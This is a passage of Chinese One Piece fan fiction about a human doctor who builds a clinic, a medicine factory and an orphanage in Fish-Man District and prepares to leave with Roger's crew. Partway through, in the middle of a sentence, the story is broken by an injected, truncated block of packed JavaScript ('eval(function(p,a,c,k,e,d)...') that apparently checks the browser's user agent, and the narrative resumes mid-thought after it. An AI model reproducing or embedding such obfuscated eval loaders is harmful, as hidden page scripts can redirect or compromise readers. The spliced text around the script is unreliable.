茵弗:“小心玻璃碴扎嘴...算了。”他合上那个里面不知道怎么能装下那么多东西的药箱——说实话阿龙怎么看都是个自己缝的口袋,但是人类的脑子都很奇怪——然后走向下一条街。 “我没惯着他们,有人太烦的时候我该揍也揍。”他意味深长地看了阿龙一会儿,阿龙顿时跳脚:“上次的不算!谁知道你耍了什么阴招!下次你就等着被我揍吧!” 茵弗玛利给他竖了个大拇指,在阿龙想着把那根指头掰断的时候又听到对方开口,这回语气严肃了不少。 “巴布洛先生很愤怒,您也很愤怒。”他指指已经跑远的小八、啾、和克罗欧比,“甚至他们都很愤怒,只不过不明显,因为他们还在学习。” 乙姬说她''有时候会听到鱼人岛在哭泣'',但是茵弗目光所及的地方全是愤怒。 “为什么?” 阿龙:“谁知道,乙姬那家伙就那样。” 茵弗:“我曾经看过一本书——” 阿龙:“你就是看太多书了。” 茵弗怼了他一手肘让他闭嘴,不过阿龙更担心手里的酒不要晃得撒出来。 “总之 、我曾经看过一本书,上面说人生来就想要被看见,不管是以什么方式,功成名就还是被目睹恶行。”他挥挥手,指过全部的鱼人街,“鱼人也是一样,您教训小八的时候总说哭换不来什么,是这样,所以您们愤怒,希望被看见。” 为什么? 阿龙有点烦躁,这种感觉不舒服,他下意识燃气一股火气,却感觉这种反应正好迎合了茵弗玛利的话,所以他咬着牙,没有开口。 茵弗没在意,他停下脚步,不太想让前面那几个跟居民们嘻嘻哈哈炫耀自己纱布缠的最好的孩子听到他们的谈话。 他们还在学习。 “到了鱼人岛,我才知道人类与鱼人族之间的歧视那么深,甚至在鱼人街,鱼人之间的歧视都那么深,您可以笑话我被保护的太好。” 阿龙:“是你们人类先——!” 茵弗打断了他:“我知道,我不是在指责您们的愤怒!” 阿龙没听过这家伙提高音量讲话,所以他又闭上嘴,想看看茵弗玛利会对人类的恶行如何辩解。但是他没有解释,只是说:“我想让您注意的点不是那个,而是''我从来不知道''这件事。您知道乙姬王妃将我这种''无知''称为什么?” 她说这是他的''干净''。 歧视是一种一定会变成双向的东西,你不能指望被排挤压迫的一方对另一方有什么好看法。 但是不管是恶语相向,还是开明鼓励,其实都是建立在默认“我们不同”的基础之上。 茵弗玛利不歧视,不是因为他给鱼人们建诊所,给鱼人们工作,而是因为曾经他''不知道'',现在他''不在乎'',他从来就没意识到他们不同。 “我说过,我不是来怜悯或者做慈善的。我想这些日子您也看出来了。” 他只是看到他们了,看到他们的愤怒,看到他们的痛苦,那些恨意与自我优越背后深入骨髓的自我贬低与厌弃。 “这是您们大多数人忍受命运的方式。” 就像是那些玛丽和约瑟夫的神。 阿龙知道为什么这家伙的话让自己不舒服了,被剖析的感觉不好,被看透的感觉让他难堪,所以他仰头灌了一口酒,然后狠狠地把空瓶朝茵弗玛利的脑袋上砸去。 对方看都没看他就侧身躲过。对,他最近在练的什么超能力一样的...见闻色霸气? “既然你不在乎 、我们怎么活跟你有什么关系?”阿龙牙齿都要被自己咬碎了,不过他更恨不得咬碎面前人的脖子。 “我给过您的甚平老大类似的回答,那就是我没那么高尚。” 轰—— 茵弗转身,狠狠地用武装色捶飞阿龙,然后在他摊在撞碎的墙里咳嗽的时候慢悠悠地走过去,用一样平淡的语气说: “如果这样能让您安心,那您可以认为我仍然不在乎。我其实在第一次跟尼普顿国王说的时候,不知道鱼人街的存在。” 但是后来他来了,他看到阿龙在意识到甚平身边跟着他的时候下意识地呲牙,挺起肩膀护住身后没比他小太多的几个孩子,然后直到现在。 所以他决定自己不喜欢他们忍受命运的方式,就这么简单。 茵弗伸出手,拉起了阿龙。 “我和''命运'',从来关系都不好。” - 小八在听到一声轰鸣后回头,只看到一片烟尘。 不过能看见茵弗大哥还好好的站在那,所以应该没什么事。 他还沉浸在第一次得到茵弗大哥脸颊吻的喜悦中。 他今天带了不少酒,也给他们带了零食,在自己对味道进行了夸赞之后,茵弗大哥问,要是味道更奇怪一点但是会让你少生病的话他还喜欢吗。 他说那他可能更喜欢,如果买一份章鱼烧还可以让他身体好,那他简直就最幸福了。 茵弗大哥就是这时候亲了他,说谢谢他的好主意。 小八和朋友们嘴里咬着鱿鱼干,蹦蹦跳跳地在今天例行的看诊后赶回了正式修好的诊所。 他们都站在大门外,虽然看起来,也没有那么好看,只是干净了不少——因为茵弗大哥说干净非常重要——但是小八和大伙在这里倾注了心血,也在室内进行了修补,所以他觉得诊所真是漂亮极了。 阿龙大哥是跟在他们后面回来的,脸上贴着一块纱布,不知道发生了什么,摔倒了? 可能是不好意思吧,阿龙大哥没提,只是也跟大伙站在一起,然后在茵弗大哥仰头看空牌匾的时候问他要起什么名字,没有像往常一样很有气势地直视对方的眼睛。 茵弗大哥倒是挺正常的,他只是随手抱起凑到身边的克罗欧比,然后很苦恼地说,''鱼人街诊所''?''很好的诊所''? 他真的不太会起名字。 后来,甚平老大提议说叫红十。 因为茵弗大哥一只耳朵上不知道什么时候开始带上了一个红色十字型的漂亮耳饰,和岛上医院的标志很像。 茵弗大哥倒是没什么意见,他说也行,因为他确实只付了十个人的工钱。 他的话提醒大家又要没工作了,都有些不舍,不过茵弗大哥说他们应该开个宴会,然后在往巨大的烤海兽肉上刷调料的时候说因为他们力气大,干活快,工期比他预估的短了很多,他还可以再付一段时间的工资。 他说他需要愿意的人跟他学医术,学制药,他们选的漂亮房子太大啦,他小小一个人类运转不了,工作只会越来越多。 茵弗大哥教他们唱了一首哟嚯嚯嚯的海贼的歌。 所以大部分人还是留下了,包括他们三个小孩。当小八有点忐忑地问茵弗大哥金城他们能不能来工作的时候,他只是说如果孩子们不介意现在的工资只能是饭的话。 一开始来看诊的不多,大家不信任一个人类医生。 但是之前茵弗大哥帮过的人会带他们的朋友过来,他们的朋友再带新的人过来。 起初只有很严重的伤病才来,不过茵弗大哥真的不收钱,谁都能治好,只是让他们留下名字和诺言,如果诊所需要帮助他们会来。 后来大家只要不舒服都来了,就像真正的,岛上的医院一样。 在诊所的工作越来越多,他们的药垒得越来越高,开始有专门穿着制服和铠甲的人来把那些箱子运走,然后茵弗大哥招了新的员工,小八很意外鱼人街有那么多人对医学感兴趣。 阿龙大哥听他这么说只是哼笑一声,打包着箱子说因为这会让更多的人活下去。 就像潘姆大婶为抢不到食物的邻居们,学熬大锅汤? 阿龙说:“就像学着熬汤。” 虽然做一些简单的药只需要跟着茵弗大哥教的做就好了,不用知道太多什么东西有什么作用,可是学习给人看病疗伤不一样。 想学习的人多了,茵弗大哥就根据自己学医的经验买了很多医书放在二楼的房间里,在听说他们大部分都不识字之后也没有笑话他们,只是沉默了一会儿,然后第二天不知道从哪弄来了一块墙一样大的黑板,从头教他们认字。 他又买了一堆其他类型的书放在已经变成大家学习的房间里,什么都有,童话,冒险故事,旧日志,地理,历史...还有大捆的旧报纸。 甚平大哥很惊讶地问他哪来这么多陆地上的书,小八这才知道他手里那本看不懂的书上的漂亮插图不是虚构,而是海面上真正存在的世界。 茵弗大哥只是纠结着到底是按高矮排书比较好还是按颜色,心不在焉地念叨了一句''没有乙姬王妃我早就变成鱼干了''。 如果茵弗大哥没那么忙就好了,除了学习时间他不会给他们念书。 虽然小八知道自己去拜托的话,大哥一定会抽时间坐下来陪他读书,但是他不想茵弗大哥真的变成鱼干,现在他没时间跟他们一起吃饭,他看起来已经瘦多了。 - “小八很担心你。” 茵弗头也没抬:“什么方面?” 甚平把手里的海鲜咖喱放下。 自从员工越来越多后,茵弗不能再给他们带饭了,所以他们商量着在二层修了公共厨房,今天的咖喱很好吃,不过他也有点想念之前一群人干完活围在一起咬三明治的日子。 “你看起来...很疲惫,茵弗医生。” 茵弗抬头对他送饭过来的举措表示了感谢,然后嘟嘟囔囔地塞了一口就放下勺子,笔记本又翻了一页。 “好的,我会注意我在孩子们面前的状态,让您们费心了。”他顿了一下,对甚平笑了笑,“您现在怎么又开始跟我讲话这么生分?加上点怀疑的眼神,我还以为我们第一天见呢。” 甚平无奈地咧咧嘴,没有提对方避过了自己让他休息的话,“这次是''在下''的选择。” 茵弗摇摇头:“您是我唯一一个不付钱的''员工'',所以您是老大,叫我什么都行。” 甚平伸手拍拍他的肩膀,真挚地说,“你是我的朋友,我不是你的老大。” 笔尖停顿了,但不是因为肩膀上踏实的重力。 “好吧,我的荣幸。” 他对甚平也露出一个柔软的笑容,然后破坏气氛地举起正在画的草图。 “那么老大,我的大蓝朋友,您看我们是不是可以开始选新的免租金地产了?” 在阿龙大哥又一次抱怨诊所里的工作机器和纸箱堆的人没地方下脚之后,茵弗大哥抱着一堆纸从他的工作室里探头,让啾去把之前留下名字的患者们的名单拿出来。 小八有点担心,因为茵弗大哥说诊所需要帮助的时候才会找他们,难道是有什么麻烦了吗。 面对他的疑惑,茵弗大哥只是扭扭他的脸,然后让克罗欧比把那枚缺了一角的金币拿出来抛,决定一下他们要新修哪栋漂亮的楼。 所以他们又选了一栋''好看''的废楼,招了很多之前留下名字的人来工作,把那它变成一个专门做各种药的地方。 虽然茵弗大哥说这就是他在拜托大伙的帮助,但是在阿龙大哥给大家分工资的时候,潘姆大婶脸上的神色让小八觉得,这还是茵弗大哥在帮大家。 而且,茵弗大哥说那些运走的,他们做的药,是要卖给全部的鱼人岛,甚至以后可能会走向更远的地方。 甚平老大说这让鱼人街不再像是一个被鱼人岛抛弃的地方,不让鱼人岛像是一个被陆地抛弃的地方,他们之间又形成了某种连接。 小八不明白,但是他感觉很好。 即使那些用他做出来的药的人一开始并不知道,但是茵弗大哥保证他们的付出会有回报。 小八相信他。 在新楼修好那天,茵弗大哥说给他们准备了惊喜,然后绕过红十诊所,他的眼前出现了一片乐园。 好吧说是乐园算不上,只是一些滑梯秋千还有一个模仿摩天轮的转轮,非常非常矮。 茵弗大哥说是''老员工福利'',然后又扭扭他的脸。 鱼人岛的孩子当然都很向往香波地乐园,但是这个''乐园'' 也不错。 在阿龙大哥一脸不耐烦地挤在秋千上,啾从滑梯上摔下来的时候,自己坐着的摩天转轮正好被甚平老大转到最高点。 他看到茵弗大哥掏出一大罐树脂,蹲在台阶上吹出来一个个泡泡,动作很傻,不过就像是真的在那个他曾经偷偷远眺过的香波地群岛。 “谢谢你,茵弗大哥。” “您们应得的,抱歉我不能真的带您们去香波地乐园。” 小八摇摇头,询问茵弗大哥自己有什么也能为他做的,他知道茵弗大哥很宠爱他们年龄小的家伙,可是不会完全把他们当孩子,这让这些从小就被迫快速成长的小家伙们感觉很好。 果然,茵弗大哥歪头思索了一会儿,轻声开口。 然后小八得到了一枚漂亮的徽章,代表自己的资质。 他做为最先学习制药的员工之一,开始和大伙一起教很多人做那些很好用的伤药。 茵弗大哥的字太丑了,即使他们开始慢慢识字了也看不懂,所以只能像茵弗大哥教他们一样一步一步地示范,手把手地教。 这样的生活很好,小八觉得这样他也能活下去,如果茵弗大哥不那么忙就更好了。 不过在某一次大家一起烧烤时,那个忙碌的人难得和他们一起,懒洋洋地靠在躺椅上,红宝石的耳饰在篝火下闪着光。 他问他们如果不在这里想干什么,在众人的七嘴八舌里,小八说他想开一家章鱼烧店。 茵弗大哥没喝阿龙大哥递过去的酒,也没吃多少肉,他只是闭着眼睛笑,好像在通过呼吸吸收他们的梦想。 “不过那种事情谁知道啦,现在的生活也挺好了。” 小八在听到某人这么说的时候认同地点了点头,却听到茵弗大哥回应道: “你们不用停在这里,帮我看看更多的可能性吧?” 小八听不懂,不过他注意到他没用敬称。 别的他不知道茵弗大哥还做了什么,不过某天早上,他看到阿龙大哥套着背心,面前有一堆铁炉和螺丝,对着手里一张写着他熟悉的烂字的纸挠头。 公共厨房里多了一副做章鱼烧的工具。 只能说还好甚平老大选了这栋房子,诊所扩得越来越大,二楼的各种房间也越来越多。 除了厨房,图书室,又逐渐多了卫生间,浴室,公共休息厅,几个老员工住下的地方。 把制药都移到新楼里之后,茵弗大哥只是在慢慢变得更像个公共生活空间的二层转了几圈,然后说只要当时没有病人住院留观,随便他们自由改造。 对,住院的病人只能住在三楼,小八不知道岛上的医院是不是也是这样,不过他觉得这种奇怪的夹心构造也挺好。 只不过变得踏实的环境吸引了越来越多的其他孤儿,他们躲到这边蹭床或者暖和的地方睡。也会有人偷橱柜里的干粮。 小八不敢告诉茵弗大哥,只是每次都偷偷地把他们放走,阿龙大哥只是拧着眉头让他小心点,别让他们偷书,然后默许了他的行为。 不过茵弗大哥还是发现了。 小八不知道是自己被抓了还是有人告密,总之他忐忑地走到这位敬爱的大哥面前时,对方只是像往常一样扭扭他的脸,让他把''名单''拿过来。 他们又翻新了一栋废楼。 茵弗大哥仍然早上不来,但是现在诊所和制药厂都迈入正轨,他大部分时间不来都没什么问题。 如果诊所需要他,阿龙大哥会骂骂咧咧地给他打电话虫。 不过他还是会带他们去龙宫城吃饭,即使他们现在可以拿到钱。 阿龙大哥他们不去,茵弗大哥就也就在诊所这边给他们做了几次饭。 生活很好,从来都没有这么好,小八不再许愿离开鱼人街,他希望茵弗大哥能不那么忙。 - “总之现在止血修复系列的伤药,基础消炎药,感冒发烧系列药,止疼系列药,抗病毒系列药都已经基本恢复正常生产了。预防和保养系列因为鱼人街需求小,本来就不是重心,我在想要不要把它们独立分出去。” 茵弗揉着酸涩的眼睛,又在尼普顿桌上放了一张表格,“嗯...前期投入仍然没有全部回收,主要是我自作主张太多。但是根据我的计算不再出意外的话六到八个月后就能收支平衡了。” 红十诊所就是一个一直需要他贴钱的猛兽,鱼人街有近五万人,随着诊所信誉的提高来的人只会越来越多。 更不要提他现在养着一栋新楼的孤儿孩子们。 但是和鱼人岛正式的合作只有制药这一项,所以只要制药厂可以顺利运行,符合乙姬和尼普顿的期望,他就满足了,其他的他会想办法。 “不论是海底,还是您们岛上,都有很多独特的资源,陛下,您们可以运用这些优势。” 他往桌上放了一个罐子,里面盛满了奶白的霜膏,“这是用海里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与之相似,在鱼人岛成长起来之前,为什么不借助外部的力量呢?足够强大的威慑力。 朋友,多么美好的词。 他耳边响起鲸歌。 “比如...您的好友白胡子先生?” 乙姬没有打断丈夫的沉思,他拉过这个已经为鱼人岛在短短六个月时间里做了太多太多的孩子,轻轻抚摸着他疲惫的脸。 他永远挺直脊背,奔走在鱼人街和龙宫城之间。一个人类,将连鱼人族都遗弃的苦涩之地努力试着背在肩上。 他每天晚上给小八他们做符合口味的饭,哄他们早点睡觉,承诺他们会有明天,只有在乙姬的怀里才会像个小海马一样蜷缩,露出一点迷茫的神色。 乙姬压住眼角的热意,一如既往地温柔地说:“你走了之后,在药厂的利润足以支撑之前,我会帮你出钱继续照看红十和孤儿院的。” 茵弗蹭蹭她的手掌,却摇了摇头。拉远了些身子,又从包裹里无尽的纸张里掏出来了一份计划书,在大臣的帮助下他现在写这些东西已经很熟练了。 字还是很丑,不过乙姬早就看得懂。 “自从小八他们很喜欢我做的零食我就想到了,为什么不生产一些我的药膳呢,它们味道可能独特,或大或小地会对人身体有些益处,食物也比药品好卖。制作需要的培训也相对更少。” 但是食物的改良和口味调查对他来说要比制药慢的多,它更无形,更缓慢,他没有时间来得及... 这里不是磁鼓岛,那时他大部分的时间都在研究吃的而不是药。 他已经不在磁鼓岛很久了。 可是他好像做了很多,又好像什么都做不完。 乙姬翻看了两眼计划书就放到一边,再次搂过他,“当然了,我跟你保证过,交给我吧,我会把它建起来的。” “我需要继续教他们识字的老师,孩子们很喜欢陆地上的知识,也学会了陆地的危险,也许主岛上也可以类似地购入书籍和报纸...” 乙姬点头:“我会安排的。” “还有一些已经可以独立做基础治疗的员工们询问我是否可以去主岛上的医院进一步学习...” 乙姬点头:“当然了,我会和医院说,然后我们商量时间。” “我新做的精油已经在实验后送到您那里了,蓝色那瓶可以用在兵舍的澡堂水池里,对放松肌肉和精神,时常佩戴盔甲之后促进鳞片健康很有好处。红色的...” 乙姬:“对我的身体好,我知道,你的标签我都看过了,也分下去了,如果你的配方还没丢也可以给我,我会一起安排生产。” “我走之后,小八他们应该不会再来这边吃饭了,他们的餐具以后可以不用摆。” 乙姬再次点头:“啾很喜欢的那套带条纹的碟子我会包好让甚平带给他。” 一件接着一件,茵弗努力地在突突阵痛的脑海里挖掘着他需要安排的事情,某一根链条断掉都会对他目前的进展上造成打击,半个鱼人街好不容易才聚起的一小股精气神不能被吹散。 乙姬抚摸着他的头,耐心地等他开口。 可是他突然什么都不想思考了,所以他说: “罗杰先生..他们快来了吧。” 乙姬从他兜里掏出一张被剪裁的报纸放到他手里:“快了,你看,他们已经走过七水之都了。” “他们来接我。” 乙姬:“他们一定会来。” 茵弗看着她,她的身体也好了很多,在他的坚持下也不理睬那些絮叨的大臣,继续着他那套奇怪的锻炼。 她会是一个健康的,强大的,美丽的好母亲。 鱼人岛的母亲。 “再过几个月,您就可以去鱼人街了,那里会慢慢变得不再那么吵。” 乙姬努力使自己的眼泪不要流出来,她听到了茵弗心中的话。 “谢谢你,我会去的,歇一歇吧,小茵弗。” 茵弗玛利又摇摇头,即使这个动作让他眼前有些泛黑。 “我还有事情。快迟到了。” - 在小八第四次询问阿龙茵弗玛利什么时候来的时候,他终于忍无可忍地捶上了他的头。 “老子不知道!他今天不是在龙宫城有事情吗!” 小八泪汪汪地捧着头:“可是泰格大哥今天回来,大哥会想见见茵弗大哥的纽。” 甚平笑呵呵地坐在他们小乐园的椅子上,现在很多孩子都会来这里玩,他也没事就过来看看。 “没事的,小八,茵弗医生答应你了他今天会来,他就会来的。” 阿龙不耐烦地咂咂嘴:“太慢了,人类的筷子腿。” 甚平听到了街道上的欢迎声,连忙起身,“泰格大哥回来了!” 他看了眼时间,有些疑惑地顿住脚步,对脸色仍然没有好起来的阿龙说:“茵弗医生应该到了,不过也许是在龙宫城耽搁了,你要去街上看看吗?” 阿龙没回答,只是在甚平理解的眼神里黑着脸,抬脚走出了鱼人街。 如果让他发现那个臭人类出尔反尔,那他就狠狠把他揍一顿! 阿龙完全没管之前二人几次切磋时对方压着自己打的事实,他不记得这种事! 好消息,那个人类没有出尔反尔,他从来都不。 说不上是好消息还是坏消息的消息,那家伙一脸血的抱着什么晃悠悠往这边走。 阿龙一惊,刚要冲过去,就看到几个鱼人岛居民过来要抓,被对方不耐烦地躲开,边上还有人往他身上扔石头,瓶子这类的东西。 好吧,至少他知道血是哪来的了。 “低等的人类!他偷了一个孩子!” “卑鄙的种族!” 那些混蛋在叫谁低等? “喂——!” 他跑了过去,那几个居民看到他高大的体格下意识后退了几步,还没来得及做什么,身旁的人类就对他露出一个笑容。 “哦!阿龙先生,您来的正好,我迟到了吗?” “你—” “那个人类抢了一个人鱼孩子!别被他骗了!” 阿龙握紧拳头:“不可能!你们这些混蛋给老子闭嘴!” 茵弗玛利笑了一声,也不知道他是脑子真的坏了还是怎么样。 他腾出一只手拉住阿龙,在拐入鱼人街后那些居民就不再追了。 阿龙听到身旁的人松了口气,扭头看到他慢慢蹲了下来,小心打开护了一路的包裹,里面钻出来....居然真的是个孩子??? 黑色短发的小人鱼含着眼泪,正哽咽着伸出小手擦茵弗玛利脸上的血。 “好啦,我没事,头上的伤口就是容易看起来很吓人,你还好吗?他们有砸到你吗?” 小人鱼摇了摇头,在注意到阿龙后怯生生地往他怀里钻了钻。 茵弗干脆靠墙坐在地上,把小人鱼转了半圈面向阿龙,但是没有把她推出怀抱。 “这位是阿龙先生,暴脾气,鱼人街的通病,但是人挺好的。” 说完又看向阿龙:“这位是...你叫夏莉对吧?夏莉小姐。今年三岁了。” 阿龙也蹲了下来,努力让自己脸上的表情放松。 “...怎么回事?” 夏莉一瘪嘴就哭了,抽抽搭搭地说家里人不要她了。 茵弗拢着她,拖着她的尾鳍不拖到地上,发出一声疲惫的鼻音:“她家里人骂她会预知灾厄什么的,就把她丢出来了,我正好来的路上看到,就问她要不要跟我走。” 他哼笑了一声:“反正天生的能力嘛...有人跟我说不要恐惧自己的天赋,预知就预知呗,多帅啊。” 阿龙:“我以为你跟命运关系不好?” 茵弗:“那跟夏莉小姐的预知有什么关系。” 夏莉的哭声在他们的话语间小了很多,但还是抽噎着揉眼睛。 阿龙真是不习惯哭唧唧的小鬼,伸出一只手想捂住她的嘴,夏莉却主动把茸茸的脑袋贴了上来蹭了两下。 茵弗看他整个人跟雷劈了一样,憋笑憋的肚子都痛了,轻轻地在夏莉疑惑的泪水里把她推入阿龙怀中。 “阿龙哥哥会先送你去孤儿院,好吗?那边有很多和你差不多大的小朋友,我晚点去看你,然后给你找一个新家,给你买一堆一堆的水晶球。” 夏莉看看他,又看看阿龙,最终还是放松下来,点了点头。 等阿龙在甚平疑惑的眼神里把夏莉抱回去,和泰格大哥打了个招呼,说了一句他去把那个人类抓过来给大哥看,就急匆匆地又回到了他们进来的地方。 茵弗玛利还在那,姿势没怎么变,只是闭着眼睛,脸上的血都没擦。 阿龙犹豫了一下,在对方旁边隔了一点距离坐下,说出口的话还是带了□□味,可能确实是鱼人街的通病。 “自己找过来的小鬼也就算了,你怎么还主动往这儿捡娃娃?我以为你穷得都不行了。” 茵弗玛利发出了一声有点粗鲁的哼笑,这倒是少见。 “那也没缺您工资,所以别抱怨。” 这也是事实。 要是几个月前有人跟阿龙说他会有份工作,赚不少钱,活的不错,他肯定认为对方是脑子被海水泡坏了。 “你怎么没叫那小孩''您''啊?我就说你假正经吧。” 茵弗:“我不怎么叫我的患者小孩敬称,太多的距离感会吓到他们。夏莉当时哭得很厉害,您把它当做医生的下意识反应吧。” “哪有医生还管别人哭不哭的啊。” 哪有医生还管他们认不认字,梦不梦想的啊。 茵弗嗯了一声:“也是。” 沉默带着一点淡淡的血腥味在他们之间蔓延了一会儿,这回是茵弗玛利先开口。 “我迟到了吗?” “来了就行。” “那我想再歇一会儿。” “...行。” “唉,弄得这么狼狈去见您们这么喜欢的泰格先生也太失礼了。” “大哥不会介意的。...不过你干嘛不躲啊,你那个什么见闻色霸气不是练的很好?” “太累了,而且怀里有夏莉。” 阿龙突然想起来小八不止念叨了八百遍的话,''要是茵弗大哥没那么忙就好了''。 他看看街角尽头模糊露出来的诊所一角,还有更远处不停歇运转的药厂,有时候他都忘了这家伙比自己还小点。 于是他说出了一句让自己都惊讶的话。 “...要我背你吗?” 这下茵弗倒是睁眼看他了。 “诶?鱼人先生要背我这种低等人类?” 阿龙啧了一声,看在对方头上有伤的份上没有给上一拳都是他脾气变好了。 “别说那种话,茵弗玛利。” 茵弗笑笑,做了一个拉起嘴上拉链的动作。 “说真的,你要是很累我可以背——” “您来当夏莉的新家人吧?” 二人同时开口。 阿龙:“哈???你脑子真的被那群垃圾砸坏了?” 茵弗又闭上眼睛,忽视阿龙震惊的表情。 “我认真的,她和其他孩子不一样,她的天赋是祝福也是诅咒,她需要更多的引导,别让她在恐惧里成长。” 阿龙可不认为自己是什么好榜样能提供引导。 “您会是的,您现在很好不是吗,有您在,小八他们很安心。甚平先生还有龙宫城那边的工作,您们说泰格先生要当冒险家,夏莉需要您的这种安全感。您可能只是在面对她时需要更温柔些。” 阿龙:“你干嘛不去啊,没人比你更合格了吧。” 茵弗:“因为我快要离开了。” 阿龙下意识一震,却又觉得自己不应该惊讶,他知道这件事,他们都知道。不然茵弗玛利不会像没有明天一样拼命地做这么多事,教他们这么多东西。 他一直在努力确保即使他离开,鱼人街也可以不一样地活下去。 “...什么时候。” 茵弗掏出那张被他剪裁下的报纸递给对方:“很快了,您也知道,鱼人岛的报纸都很旧。” ...罗杰海贼团? “你一直说跟着航行的船是艘海贼船啊。” 茵弗玛利点点头,接过那片报纸抚摸了一下,又放回口袋里。 “接下来一段时间的发展我都和乙姬王妃商量得差不多了,这几天再想到什么您们再跟我说,我再跟她提。” 等等等等,这种交代一样的话不应该跟他说吧。 茵弗:“诶?原来您是民主的类型?真没想到。” 什么啊... “那好吧。”茵弗玛利颤颤巍巍地站了起来,随便擦了一把脸上的血,慢悠悠地往诊所方向走。 他是什么时候开始走得越来越慢的? “我们先去见见泰格先生,再聊这些无趣的事情。” 他到底还是没让阿龙背他。 30.补眠? 费舍尔·泰格在又一次结束短程旅行回到鱼人岛时,第一次在自己从小长大的鱼人街感到了一丝违和。 除了某几条街道的变化,最主要的是人群。他们还是热烈地欢迎他,尤其是那些年轻的孩子,但是这次的氛围有点...不太一样? 等甚平和一群穿的格外干净的小鬼过来的时候,面对他有些疑惑的神情,只是笑呵呵地拥抱了他,然后将他带到了一个写着红十诊所的建筑前。 鱼人街?诊所? 泰格的第一反应是愤怒。 鱼人街所拥有的东西已经少的可怜了,是什么人还试图从这些艰难求生的人身上刮下仅剩的油水? 药品这种昂贵又稀少的东西,就算可以救命,在鱼人街这种地方也只会引起无止歇的争斗。可悲的事实,但是最后救回来的人不会比因此而遇到更多不幸的人多。 天呐!他刚刚好像看到一个小鱼人满身是血地急匆匆地想藏起来的样子了! “泰格大哥!你回来了!” 泰格转向一位面熟的小鱼人,立刻高声询问:“小八!究竟是谁干的好事!” 小八欢快地抱住泰格的腿:“是茵弗大哥!” 泰格愣了一下,茵弗...大哥? 甚平敏锐地捕捉到他们二者间语气的差异,刚要开口,就看到去接茵弗的阿龙急匆匆地抱着一个眼眶通红的小人鱼回来,跑入了诊所隔壁的孤儿院。 发生了什么? 阿龙朝着他点点头,然后对泰格招了招手,“好久不见,泰格大哥!我去把那个人类抓来给你看!” 原来是人类。 在泰格的旅途中他遇见过不介意他是鱼人的人类,他也因此凭借自己的力气找了几份工作攒钱,但是毕竟还是少数。 鱼人岛的孩子们或多或少都向往海面上的世界,他也不例外。但是他目前遇见的大多数人类都是对他怀有恐惧,恶意,种种不善的情绪。 他总想着多攒些钱去更远的地方就不一样了,就像他离开鱼人街。可是居然有人类在他不在的时候试图咬上一口他的根脉,他唯一的家。 在他的愤怒中,他没注意小八念念叨叨的话,只是看着阿龙离开的方向捏紧了拳头。 别担心!阿龙!泰格大哥会替你们好好教训这家伙的! 所以在甚平急匆匆地去确认了一下那个被阿龙突然带回来的小人鱼没什么事,又在对方稚嫩的话里大概了解了一下事情经过之后,再走出门就看到泰格狠狠一拳打在茵弗玛利的脸上。 “泰格大哥???!” - 茵弗醒来的时候是懵的。 他不记得自己最近有睡觉的规划。 糟了,几点了?他答应小八今天早点结束龙宫城的工作去鱼人街见费舍尔·泰格的。 刚一骨碌翻下有些陌生的床,小八就甩着眼泪扑了上来。 嗯?小八? “呜哇哇哇哇啊茵弗大哥对不起纽!” 又扑过来哭唧唧的两个小家伙。 啾和克罗欧比也在,金城呢?又闯祸了? 不对不对。 茵弗晃晃脑袋,在小鱼人们稀碎的话语里慢慢找回了自己的记忆。 啊对,他已经来见泰格了,然后被泰格打了一拳。 往常的话他肯定不会晕的,不管对方是不是鱼人。拜托,他可是挨过巴//雷特的拳头。 还是有点勉强了啊,吓到他们了。 “对不起对不起,以后不会发生这样的事了,不哭了嗷。” 他熟练地摸摸这个摸摸那个,一边逗他们一边转移话题。 “我没事了,可健康了!你摸摸,鼻子都没断,谁给我处理的?纱布贴得真好!” 他亲亲粉色小鱼人的脸:“是你呀啾,你怎么一直都这么厉害?以后大家都想来让你包扎我就要收钱啦!” 泰格注意到孩子们的声音推开门就看到这么一幕,堆积在腹中的愧疚更甚,一时在门口有些犹豫。 身后的甚平叹了口气,轻轻推了他一把:“没事的大哥,只是个误会,茵弗医生不会介意的。” 茵弗玛利听到声响抬头,笑着对他们点点头,然后对还有点抽搭的小家伙们夸张地压低声音:“好啦~这就是泰格大哥吧?果然跟您们说得一样强壮,帮我好好介绍一下吧?” 不过,出乎意料,小八他们三个居然岔开小腿,很有气势地挡在他面前。 “泰格大哥得道歉纽!” “对!” 泰格挠着头走进来:“别担心,我就是来道歉的。”说完他就盘腿坐在他们面前,然后对着茵弗深深鞠了一躬。 “我目光短浅,伤害你了,十分抱歉!” 茵弗打量了他一眼,确实挺符合小八阿龙他们说得形象的,很有男子气概,红色皮肤,留着点胡子,肩膀宽胳膊长,长着尖锐的背鳍。 不过,愤怒是鱼人街的通病,他转转脑子也大概有点猜测,无非就是不相信会有一丝毫的''好事''降临在鱼人街,加上他是个人类这类的吧。 无所谓,他相信甚平等人敬爱的大哥不会是什么烂家伙。 “没关系先生,您不必这么郑重,倒是我这边该感谢您让我睡了个无梦的好觉呢。” 泰格:“我——” 茵弗也由半跪变成盘腿坐下,拉着孩子们坐在身旁,对甚平招招手,打断了他的话。 “真的没事,如果您过意不去,晚点给我讲讲您的冒险吧?” 甚平也坐在他们旁边,有些不好意思地挠挠脸:“我也是来道歉的。阿龙说了你今天路上的事...我应该和你一起的...” 茵弗拍拍他的肚皮:“好啦,大蓝,您又不真的是我的护卫什么的。而且我想躲可以躲的,没受什么伤。” 甚平:“这次确实是在下的失职...” 说实话茵弗醒过来脑袋还有点晕,真的是怎么哄完三个小的还要哄两个大的... 他忍住因为头痛而想要皱眉的冲动,只是仰仰身体靠在后面的床上,笑着说:“您不是说我们是朋友吗?别这样。” 甚平带着笑意刚应了一声,阿龙就拽着金城哐哐哐地迈到房间里。 “男人要敢做敢当!” “呜哇哇哇哇对不起——” 行。又来了俩。 茵弗再次忍住叹气的冲动,直起身子对脏兮兮的小金城招手。 “又闯祸啦?别听你阿龙大哥的,闯祸了能藏住那叫聪明。” 金城跌到他怀里,撞得茵弗发出唔的一声。 这些家伙真的是被他喂得太结实了一点。 “对不起茵弗大哥呜呜呜,我不看路然后摔在装红药水的箱子上然后呜呜呜呜泰格大哥以为呜呜呜压坏了——” “一整箱?” “呜呜呜呜是。” 